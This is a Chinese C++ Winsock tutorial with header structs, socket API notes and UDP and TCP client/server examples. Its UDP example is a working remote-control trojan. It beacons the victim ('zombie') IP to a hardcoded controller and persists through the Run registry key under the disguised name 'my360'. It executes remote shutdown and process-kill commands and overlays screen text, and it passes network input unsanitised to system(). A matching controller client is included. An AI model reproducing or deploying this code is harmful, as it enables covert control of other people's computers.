C++网络通信实现
TCP/IP协议
OSI参考模型:应用层-表示层-会话层-传输层-网络层-数据链路层-物理层。
TCP/IP参考模型:传输控制协议/网际协议是互联网上最流行的协议,采用4层的层级结构,每一层都呼叫它的下一层所提供的网络来完成自己的需求。即应用层-传输层-互联网络层-网络接口层。
数据包格式
IP数据包
IP数据包是在IP协议间发送的,主要在以太网与网际协议模块之间传输,提供无连接
数据包传输。不保证数据包的发送,但最大限度的发送数据。结构如下:
typedef struct HeadIP{
unsigned char headerlen:4;//首部长度,4位
unsigned char version:4;//版本,4位
unsigned char servertype;//服务类型,8位
unsigned short totallen;//长度,16位
unsigned short id;
//与idoff构成标识符,共占16为,前3位是标识,后13位是片偏移
unsigned short idoff;
unsigned char ttl;//生存时间,8位
unsigned char proto;//协议,占8位
unsigned short checksum;//检验首部和,16位
unsigned int sourceIP;//源IP地址,32位
unsigned int destIP;//目的IP地址,32位
}HeadIP;
TCP数据包
面向连接,全双工,可靠的传输。
typedef struct HeadTCP{
WORD SourcePort;//16位源端口号
WORD DePort;//16位目的端口
DWORD SequenceNo;//32位序号
DWORD ConfirmNo;//32位确认序号
BYTE HeadLen;//与Flag为一个组成部分,首部长度,4位,保留6位,6位标识,共16位
BYTE Flag;
WORD WndSize;//16位窗口大小
WORD CheckSum;//16位校验和
WORD UrgPtr;//16位紧急指针
}HeadTCP;
三次握手连接
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SENT状态,等待服务器确认;SYN:同步序列编号(Synchronize Sequence Numbers)。
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED(TCP连接成功)状态,完成三次握手。
完成三次握手,客户端与服务器开始传送数据。
四次握手关闭
TCP关闭连接的步骤如下:
第一步,当主机A的应用程序通知TCP数据已经发送完毕时,TCP向主机B发送一个带有FIN附加标记的报文段(FIN表示英文finish)。
第二步,主机B收到这个FIN报文段之后,并不立即用FIN报文段回复主机A,而是先向主机A发送一个确认序号ACK,同时通知自己相应的应用程序:对方要求关闭连接(先发送ACK的目的是为了防止在这段时间内,对方重传FIN报文段)。
第三步,主机B的应用程序告诉TCP:我要彻底的关闭连接,TCP向主机A送一个FIN报文段。
第四步,主机A收到这个FIN报文段后,向主机B发送一个ACK表示连接彻底释放。
UDP数据包
UDP数据包是无连接的,一次服务,不提供差错恢复,不提供数据重传。
typedef struct HeadUDP{
WORD SourcePort;//16位端口号
WORD DePort;//16位目的端口
WORD Len;//16位UDP长度
WORD ChkSum;//16位UDP校验和
}HeadUDP;
ICMP数据包
ICMP协议被称为网际控制报文协议,是IP协议的附属协议,可以将某设备的故障信息发送到其他设备。
typedef struct HeadCMP{
BYTE Type;//8为类型
BYTE Code;//8位代码
WORD ChkSum;//16位校验和
}HeadICMP;
套接字
所谓套接字
,实际上是一个指向传输提供者
的句柄。
Winsock套接字可以使应用程序适用于不同的网络名和网络地址。
#include"winsock2.h"//引用头文件
#pragma comment(lib,"ws2_32.lib")//链接库文件
初始化
套接字:
WSADATA wsd;//定义WSADATA对象
WSAStratup(MAKEWORD(2,2),&wsd);//初始化套接字
常用的套接字函数
-
WSAStartup函数:
初始化
ws2_32.dll动态链接库int WSAStartup(WORD wVersionRequested,LPWSADATA IpWSAData);
-
socket函数:
创建套接字
SOCKET socket(int af,int type,int protocol);
-
bind函数:将
套接字绑定
到指定的端口和地址int bind(SOCKET s,const struct sockaddr FAR* name,int namelen);
listen函数:将套接字设定为
监听模式
int listen(SOCKET s,int backlog);-
accept函数:
接收连接请求
SOCKET accept(SOCKET s,struct sockaddr FAR* addr,int FAR* addrlen);
-
closesocket函数:
关闭套接字
int closesocket(SOCKET s);
-
connect函数:
发送连接请求
int connect(SOCKET s,const struct sockaddr FAR* name,int namelen);
-
htons 函数:将16位无符号短整型数据转换为网络排列方式
u_short htons(u_short hostshort);
-
htonl函数:将无符号长整型转换为网络排列方式
u_long htonl(u_long hostlong);
-
inet_addr函数:将字符串表示的
地址转换
为32位的无符号长整型数据unsigned long inet_addr(const char FAR* cp);
-
recv函数:
接收数据
int recv(SOCKET s,char FAR* buf,int len,int flags);
-
send函数:
发送数据
int send(SOCKET s,const char FAR* buf,int len,int flags);
-
select函数:
检查
套接字是否处于可读、可写或错误状态
int select(int nfds,fd_set FAR* readfds,fd_set FAR* writefds,fd_set FAR* exceptfds,const struct timeval FAR* timeout);
-
WSACleanup函数:
释放
ws2_32.dll动态链接库分配的资源int WSACleanup(void);
-
WSAAsyncSelect函数:将网络中的某
事件关联
到窗口的某个消息中int WSAAsyncSelect(SOCKET s,HWND hWnd,unsigned int wMsg,long iEvent);
-
ioctlsocket函数:
设置套接字的I/O模式
int ioctlsocket(SOCKET s,long cmd,u_long FAR* argp);
套接字阻塞模式
依据套接字函数执行方式的不同,可以将套接字分为两类:阻塞和非阻塞。
阻塞:函数调用玩会一直等待,直到I/O操作完成。故一个线程中同时只能进行一项I/O操作。
非阻塞:函数调用会立即返回。
默认情况下,套接字为阻塞套接字。为了将套接字设置为非阻塞,需要使用ioctlsocket函数。
unsigned long nCmd;
SOCKET clientSock = socket(AF_INET,SOCK_STREAM,0);//创建套接字
int nState=ioctlsocket(clientSock,FIONBIO,&nCmd);//设置非阻塞模式
if(nState != 0)
{
TRACE("设置套接字非阻塞模式失败!");
}
连接过程
面向连接流
服务端:
|- WSAStartup函数初始化
|- 创建Socket
|- 用bind指定对象
|- listen设置监听
|- accept接收请求
|- send发送会话
|- closesocket关闭socket
客户端:
|- WSAStartup函数初始化
|- 创建Socket
|- connect请求连接
|- send发送会话
|- closesocket关闭socket
面向无连接流
服务端:
|- WSAStartup函数初始化
|- 创建Socket
|- 调用recvfrom和sendto进行通信
|- 调用closesocket关闭Socket
客户端:
|- WSAStartup函数初始化
|- 创建Socket
|- 调用recvfrom和sendto进行通信
|- 调用closesocket关闭socket
基于UDP协议的网络通信
UDP链接是面向无连接的,一次服务,不提供差错恢复,不提供数据重传。
SOCK_DGRAM
协议族,UDP协议。
服务端实现
服务端启动后会给指定IP地址的客户端发送服务端的IP地址,以便客户端启动后自动连接到服务端。
#include<stdio.h>
// 获取进程列表
#include<windows.h>//windows底层函数
#include<Tlhelp32.h>
// 网络库(Linux头文件不同)
#include<winsock.h>
#pragma comment(lib,"ws2_32.lib")
// 取消窗口显示
//#pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")
// 全局变量
int sock;
bool going=true;
// 分身活动区域
unsigned long WINAPI function(void* lp)
{
// 发送肉鸡IP地址
char hostname[255]="";
// 获取系统主机名
gethostname(hostname,sizeof(hostname));
printf("系统主机名:%s\n",hostname);
// 在数据链路层,主机名与IP地址对应
hostent *host=gethostbyname(hostname);
char* ip=inet_ntoa(*(struct in_addr *)*host->h_addr_list);
//printf("%s\n",ip);
// 强制转换网络地址为255.255.255.255类型
// 定义控制方IP地址
sockaddr_in ctladdr;
ctladdr.sin_family=AF_INET;
ctladdr.sin_port=htons(7676);
ctladdr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
while(going)
{
sendto(sock,ip,strlen(ip),0,(sockaddr*)&ctladdr,sizeof(ctladdr));
Sleep(5000);
// 5秒
}
return 0;
}
int main(void)
{
// 防止双开 互斥量
HANDLE hmutex=CreateMutex(0,true,"LF");
// (默认值,是否上锁,标识)
if(hmutex!=NULL)// 不为空则创建成功
{
if(GetLastError()==ERROR_ALREADY_EXISTS)
{
printf("已经打开了\n");
return 0;
}
}
// 开机自启
//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
//HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY key;// HKEY代表打开的注册表首地址
long reg=RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&key);
if(reg==ERROR_SUCCESS)// 打开成功返回为0
{
// 获取路径
printf("注册表写入成功!\n");
char path[255]="";
GetModuleFileName(0,path,254);
// 增加此运行程序的路径(key,"name",写入0,写入类型)
// 用RegSetValueEx写在Run目录下
RegSetValue(key,"my360",REG_SZ,path,strlen(path));
// 关闭程序
RegCloseKey(key);
// Release版本才可以开机自启
}
// 1.网络是否存在,初始化网络 调用系统函数
WSADATA wsaData;
WSAStartup(0x202,&wsaData);
// 网络库版本号,最新版本,获取初始化信息
// 2.购买手机(获取套接字)
//int sock=socket(AF_INET,SOCK_DGRAM,0);
// SOCK_DGRAM协议族,UDP协议,默认为0
// SOCK_STREAM, TCP/IP协议
sock=socket(AF_INET,SOCK_DGRAM,0);
// 3.绑定端口号(类似绑定手机卡)
sockaddr_in addr;// 此电脑的信息(ip,端口号,协议族)
addr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
//inet_addr("192.168.75.1");
addr.sin_port = htons(7979);// 绑定的端口号
addr.sin_family=AF_INET;
bind(sock,(sockaddr*)&addr,sizeof(addr));
// 4.收到指令,并处理
char buf[1024]="";// 接收数据1#1等
char cmd[4]="";// 截取字符串
// 定义控制方IP地址
sockaddr_in ctladdr;
int ilen = sizeof(ctladdr);
// 创建分身
CreateThread(0,0,function,0,0,0);
while(1) //recv(套接字,存储数据区,存储数据长度,默认为0)
{
// 收信息recv/recvfrom
// recvfrom不仅可以收到信息,还可以知道发送端的IP及端口号
//int num=recv(sock,buf,sizeof(buf),0);
int num=recvfrom(sock,buf,sizeof(buf),0,(sockaddr*)&ctladdr,&ilen);
printf("收到控制端消息:%s %d\n",inet_ntoa(ctladdr.sin_addr),ctladdr.sin_port);
// 截取前三个字符到cmd中
strncpy(cmd,buf,3);
buf[num]='\0';
//printf("%s\n",buf);
// 指令的识别,处理
if(strcmp(cmd,"1#1")==0)
{
system("shutdown -s -t 1000");// 关机
}
else if(strcmp(cmd,"1#2")==0)
{
system("shutdown -r -t 1000");// 重启
}
else if(strcmp(cmd,"2#1")==0)// 获取进程列表
{
// 动态获取进程列表(二维数组)
// 1.打开获取表格
HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
// 2.遍历表格 Process32First(表格);
PROCESSENTRY32 processMsg;// 结构体(程序名,ID,内存)
Process32First(handle,&processMsg);
do
{
//printf("%s\n",processMsg.szExeFile);
sendto(sock,processMsg.szExeFile,strlen(processMsg.szExeFile),0,(sockaddr*)&ctladdr,sizeof(ctladdr));
}while(Process32Next(handle,&processMsg));//指为空时返回0
}
else if(strcmp(cmd,"2#2")==0)//2#2#结束的进程名
{
//shell命令
if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)
{
char *process=strtok(NULL,"#");
char opr[100]="";
// 字符串的拼接
sprintf(opr,"taskkill /F /IM %s*",process);// 关闭某进程
system(opr);
//printf("%s\n",opr);
//system("taskkill /F /IM FeiQ*");
}
}
else if(strcmp(cmd,"4#1")==0)//弹出提示框(0,"内容","标题",提示框样式)
{
// 截取字符串
// 4#1#内容#标题
if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)//将字符进行截取(原字符,“截取目标字符”)
{
char *content=strtok(NULL,"#");
char *title=strtok(NULL,"#");
MessageBox(0,content,title,MB_ICONINFORMATION|MB_OK|MB_SYSTEMMODAL);
}
}
else if(strcmp(cmd,"6#1")==0)
{
going=false;
}
else if(strcmp(cmd,"7#1")==0)// 显示广告
{
// 截取字符串
// 7#1#内容
if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)//将字符进行截取(原字符,“截取目标字符”)
{
char *content=strtok(NULL,"#");
// 1.获取设备上下文接口:打印机,投影仪,屏幕
HDC hdc=GetDC(0);// NULL默认输出主屏幕
// 字体背景透明
SetBkMode(hdc,TRANSPARENT);
// 颜色
SetTextColor(hdc,RGB(255,0,0));// 红绿蓝
// 大小,改变字体,创建字体
HFONT font=CreateFont(100,50,0,0,
FW_BOLD,0,0,0,ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_SWISS,"宋体");
// 替换字体
SelectObject(hdc,font);
// 2.绘画字体
TextOut(hdc,100,100,content,strlen(content));
// 3.释放上下文
ReleaseDC(0,hdc);
}
}
}
// 5.释放网络
closesocket(sock);
// 6.清空初始化
WSACleanup();
return 0;
}
客户端实现
只要服务端运行,就会给指定的客户端发送服务端IP地址,当客户端收到服务端IP地址后,会自动连接到服务端,并可对服务端进行关机、重启、获取服务端进程列表、结束进程,以及发送远程字幕和弹窗操作。
#include<stdio.h>
#include<winsock.h>
#pragma comment(lib,"ws2_32.lib")
int num=0;
char ipBuf[1024]="";
// 为线程指定活动区域
unsigned long WINAPI threadfun(void *sock)
{
char buf[1024]="";
while(1)
{
//Sleep(5000);
//无数据则一直等待,中途中断则返回0
num=recv(*(int*)sock,buf,1023,0);
buf[num]='\0';
printf("收到服务器消息:%s\n",buf);
strcpy(ipBuf,buf);
/*
ip地址转存给主函数,
直接用buf行不通,
可能一直被读写占用
*/
if(num<=0)
break;//接收完成
}
return 0;
}
void menu(int sock,sockaddr_in eaddr)
{
printf("-------------控制系统----------------------\n");
printf("-------------1.关机------------------------\n");
printf("-------------2.重启------------------------\n");
printf("-------------3.进程列表--------------------\n");
printf("-------------4.结束进程--------------------\n");
printf("-------------5.远程字幕--------------------\n");
printf("-------------6.发送弹窗--------------------\n");
printf("请选择:\n");
int opt=0;
scanf("%d",&opt);
if(opt==1)//关机
{
sendto(sock,"1#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
}
else if(opt==2)//重启
{
sendto(sock,"1#2",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
}
else if(opt==3)//进程列表
{
sendto(sock,"2#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
}
else if(opt==4)//结束进程
{
char process[100]="";
printf("请输入需要结束的进程名:\n");
scanf("%s",process);
//拼接
char cmd[1000]="";
sprintf(cmd,"2#2#%s*",process);
sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
}
else if(opt==5)//投放字幕
{
char content[100]="";
printf("请输入广告内容:");
scanf("%s",content);
//格式化字符串
char cmd[1000]="";
sprintf(cmd,"7#1#%s",content);
sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
}
else if(opt==6)//弹窗
{
char content1[100]="";
printf("请输入弹窗内容:");
scanf("%s",content1);
char content2[100]="";
printf("请输入标题:");
scanf("%s",content2);
//格式化字符串
char cmd[1000]="";
sprintf(cmd,"4#1#%s#%s",content1,content2);
sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
printf("%d,%d\n",sock,sizeof(eaddr));
}
}
int main(void)
{
// 1.初始化网络,网络是否存在
WSADATA wsaData;
WSAStartup(0x202,&wsaData);
// 2.购买手机,获取套接字
int sock=socket(AF_INET,SOCK_DGRAM,0);//AF_INET为英特网
// 3.绑定手机卡(默认:若绑定,网卡会默认绑定(IP,随机端口号))
// 不绑定,让系统默认绑定
// 手动绑定IP地址,端口号
sockaddr_in myaddr;
myaddr.sin_family=AF_INET;
myaddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
myaddr.sin_port=htons(7676);
bind(sock,(sockaddr*)&myaddr,sizeof(myaddr));//绑定手机
// 4.发送指令
char buf[100]="";
sockaddr_in eaddr;
eaddr.sin_port=htons(7979);
eaddr.sin_family=AF_INET;
//eaddr.sin_addr.S_un.S_addr=inet_addr("10.10.205.162");
// 创建一个线程接收(0,0,线程活动区域,传递值,0,0)
HANDLE hThread;
hThread = CreateThread(0,0,threadfun,&sock,0,0);
if(hThread==NULL)
{
printf("接收线程未运行!\n");
}
else
{
//Sleep(5000);
printf("接收线程正在运行!\n");
while(strlen(ipBuf)==0)
{
printf("正在尝试与服务器建立连接...\n");
Sleep(5000);
}
printf("已连接到服务器地址:%s\n",ipBuf);
eaddr.sin_addr.S_un.S_addr=inet_addr(ipBuf);
//停止获取IP
sendto(sock,"6#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
while(1)
{
menu(sock,eaddr);//菜单
}
}
// 5.释放网络
closesocket(sock);
// 6.清除
WSACleanup();
return 0;
}
基于TCP/IP协议的网络通信
TCP/IP协议是面向连接的,安全的。
服务端实现
接收客户端A,则给客户端发送字符B,接收C,则发送字符D。
#include<iostream.h>
#include<stdlib.h>
#include"winsock2.h"//引用头文件
#pragma comment(lib,"ws2_32.lib")//引用库文件
//线程实现函数
DWORD WINAPI threadpro(LPVOID pParam)
{
SOCKET hsock=(SOCKET)pParam;
char buffer[1024];
char sendBuffer[1024];
if(hsock != INVALID_SOCKET)
cout<<"Start Receive!"<<endl;
while(1)
{
//循环接收发送的内容
int num = recv(hsock,buffer,1024,0);//阻塞函数,等待接收内容
if(num>=0)
cout<<"Receive form clinet!"<<buffer<<endl;
if(!strcmp(buffer,"A"))
{
memset(sendBuffer,0,1024);
strcpy(sendBuffer,"B");
int ires = send(hsock,sendBuffer,sizeof(sendBuffer),0);//回送消息
cout<<"Send to Client: "<<sendBuffer<<endl;
}
else if(!strcmp(buffer,"C"))
{
memset(sendBuffer,0,1024);
strcpy(sendBuffer,"D");
int ires=send(hsock,sendBuffer,sizeof(sendBuffer),0);//回送消息
cout<<"Send to client: "<<sendBuffer<<endl;
}
else if(!strcmp(buffer,"exit"))
{
cout<<"Client Close"<<endl;
cout<<"Server Process Close"<<endl;
return 0;
}
else
{
memset(sendBuffer,0,1024);
strcpy(sendBuffer,"ERR");
int ires=send(hsock,sendBuffer,sizeof(sendBuffer),0);
cout<<"Send to client"<<sendBuffer<<endl;
}
}
return 0;
}
//主函数
void main()
{
WSADATA wsd;//定义WSADATA对象
WSAStartup(MAKEWORD(2,2),&wsd);
SOCKET m_SockServer;
sockaddr_in serveraddr;
sockaddr_in serveraddrfrom;
SOCKET m_Server[20];
serveraddr.sin_family = AF_INET;//设置服务器地址
serveraddr.sin_port=htons(4600);//设置端口号
serveraddr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
m_SockServer=socket(AF_INET,SOCK_STREAM,0);
int i=bind(m_SockServer,(sockaddr*)&serveraddr,sizeof(serveraddr));
cout<<"bind:"<<i<<endl;
int iMaxConnect=20;//最大连接数
int iConnect=0;
int iLisRet;
char buf[]="This is Server\0";//向客户端发送的内容
char WarnBuf[]="It is over Max connect\0";
int len=sizeof(sockaddr);
while(1)
{
iLisRet=listen(m_SockServer,0);//进行监听
m_Server[iConnect]=accept(m_SockServer,(sockaddr*)&serveraddrfrom,&len);
//同意连接
if(m_Server[iConnect]!=INVALID_SOCKET)
{
int ires=send(m_Server[iConnect],buf,sizeof(buf),0);//发送字符过去
cout<<"发送消息:"<<buf<<endl;
cout<<"accept: "<<ires<<endl;//显示已经建立连接次数
iConnect++;
if(iConnect>iMaxConnect)
{
int ires=send(m_Server[iConnect],WarnBuf,sizeof(WarnBuf),0);
}
else
{
HANDLE m_Handel;//线程句柄
DWORD nThreadId=0;//线程ID
m_Handel=(HANDLE)::CreateThread(NULL,0,threadpro,(LPVOID)m_Server[--iConnect],0,&nThreadId);
//启动线程
cout<<"启动线程!"<<endl;
}
}
}
WSACleanup();
}
客户端实现
给服务端发送A,则会接受到字符B,发送C,则收到D。
#include<iostream.h>
#include<stdlib.h>
#include<stdio.h>
#include"winsock2.h"
#include<time.h>
#pragma comment(lib,"ws2_32.lib")
void main()
{
WSADATA wsd;//定义WSADATA对象
WSAStartup(MAKEWORD(2,2),&wsd);
SOCKET m_SockClient;
sockaddr_in clientaddr;
clientaddr.sin_family=AF_INET;//设置服务器地址
clientaddr.sin_port=htons(4600);//设置服务器端口号
clientaddr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
m_SockClient=socket(AF_INET,SOCK_STREAM,0);
int i=connect(m_SockClient,(sockaddr*)&clientaddr,sizeof(clientaddr));//连接超时
cout<<"connect:"<<i<<endl;
char buffer[1024];
char inBuf[1024];
int num;
num=recv(m_SockClient,buffer,1024,0);//阻塞
if(num>0)
{
cout<<"Receive from server:"<<buffer<<endl;//欢迎信息
while(1)
{
num=0;
cout<<"请输入要发送的消息:"<<endl;
cin>>inBuf;
if(!strcmp(inBuf,"exit"))
{
send(m_SockClient,inBuf,sizeof(inBuf),0);//发送退出指令
return;
}
send(m_SockClient,inBuf,sizeof(inBuf),0);
num=recv(m_SockClient,buffer,1024,0);//接收客户端发送过来的数据
if(num>=0)
cout<<"接收消息:"<<buffer<<endl;
}
}
}
上一篇: 关羽的五百校刀手到底有多厉害 对上一千虎豹骑还能赢吗
下一篇: 预防便秘、通便食物有哪些